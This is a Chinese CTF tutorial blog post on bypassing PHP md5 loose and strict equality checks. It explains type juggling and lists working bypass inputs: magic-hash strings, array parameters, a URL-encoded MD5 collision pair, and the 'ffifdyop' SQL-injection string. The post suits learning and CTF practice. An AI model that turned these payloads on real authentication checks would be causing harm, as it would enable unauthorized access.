CTF(web方向)--md5的“===”和“==”的绕过

一、PHP弱类型说明

1.简介

php是一种弱类型语言,对数据的类型要求并不严格,可以让数据类型互相转换。

在php中有两种比较符号: 一种是 ==,另外一种是 ===,都是用来比较两个数值是否相等的操作符,但他们也是有区别的:

    == :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。简单的说,它不会比较变量类型,只比较值。

    === :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。

2.PHP转换规则

    若一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。若字符串以数字开头,则取开头数字作为转换结果,不能转换为数字的字符串(例如"aaa"是不能转换为数字的字符串,而"123"或"123aa"就是可以转换为数字的字符串)或null,则转换为0;例如:

 var_dump(12=="12")                                   // true

 var_dump(12=="12aa")                              //true

 var_dump( "admin"==0) //true

 var_dump(false==""==0==NULL) //true

布尔值true和任意字符串都弱相等。例如:

 var_dump(true=="afa")                   //true

数字和“e"开头加上数字的字符串(例如"1e123”)会当作科学计数法去比较;

 0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0;

当字符串被当作一个数值来处理时,如果该字符串没有包含’.’,‘e’,'E’并且其数值在整形的范围之内,该字符串作为int来取值,其他所有情况下都被作为float来取值,并且字符串开始部分决定它的取值,开始部分为数字,则其值就是开始的数字,否则,其值为0。

二、题目讲解

1.md5弱相等绕过方法

题目链接:

NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。icon-default.png?t=N7T8https://www.nssctf.cn/problem/386

题目核心描述

if (isset($_GET['name']) && isset($_POST['password'])){

    $name = $_GET['name'];

    $password = $_POST['password'];

if ($name != $password && md5($name) == md5($password))

值不相等md5加密后弱相等

给出一组值,还有很多的类似值可以去网上找

s878926199a

s155964671a

或者数组绕过

name[]=1

password[]=1

2.md5强相等绕过方法

数组表达式绕过

name[]=1

password[]=1

注意:

ffifdyop经过md5加密,表示的16进制转换为ASCII是or。当万能密钥使用

题目

NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。icon-default.png?t=N7T8https://www.nssctf.cn/problem/713

3.变量转换为字符串md5强相等绕过方法

字符串不相等,md5的强类型相等string($a)!=string($b),md5($a)===md5($b)

array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&=&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&=

注意传参的后面加上&=

4.上传的参数字符串且md5弱相等

if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))

科学技术法绕过

s878926199a

s155964671a

题目链接

https://www.nssctf.cn/problem/2076

  • 26
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值